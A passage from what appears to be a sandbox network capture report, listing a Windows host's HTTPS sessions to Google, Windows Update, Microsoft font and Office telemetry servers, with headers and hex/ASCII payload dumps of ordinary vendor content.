b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"no
2024-11-20 11:57:44 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 Data Ascii: 8000ject\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunction(a,b,c\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	142.250.186.164	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:44 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 11:57:44 UTC	933	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 11:57:44 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 11:57:44 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-20 11:57:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	142.250.186.78	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:46 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 11:57:47 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 20 Nov 2024 01:21:04 GMT Expires: Thu, 20 Nov 2025 01:21:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 38202 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 11:57:47 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="function"?Object.
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 53 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}};e.prototype.Sda=functi
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){var l=this.jF();try{h.call(k,l.resolve
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 73 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&sa(l,f)?l[f][this.Ga]:void
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 5a 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Ze};c.prototype.get=function(
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
2024-11-20 11:57:47 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});na(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:46 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MYn8CAYCdhtnceW&MD=1P+6sxtW HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 11:57:47 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9c96b974-6608-4562-8c3f-4982c2b55899 MS-RequestId: 4b7ffccb-ef93-4026-a072-4d94e55c853d MS-CV: BHWD/4cp90eR021p.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 11:57:46 GMT Connection: close Content-Length: 24490
2024-11-20 11:57:47 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 11:57:47 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49757	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:49 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 11:57:49 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=17294 Date: Wed, 20 Nov 2024 11:57:49 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49760	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:57:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 11:57:50 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=17260 Date: Wed, 20 Nov 2024 11:57:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 11:57:50 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115821Z-r1d97b99577hsvhhhC1TEByb1w000000030g00000000ddup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
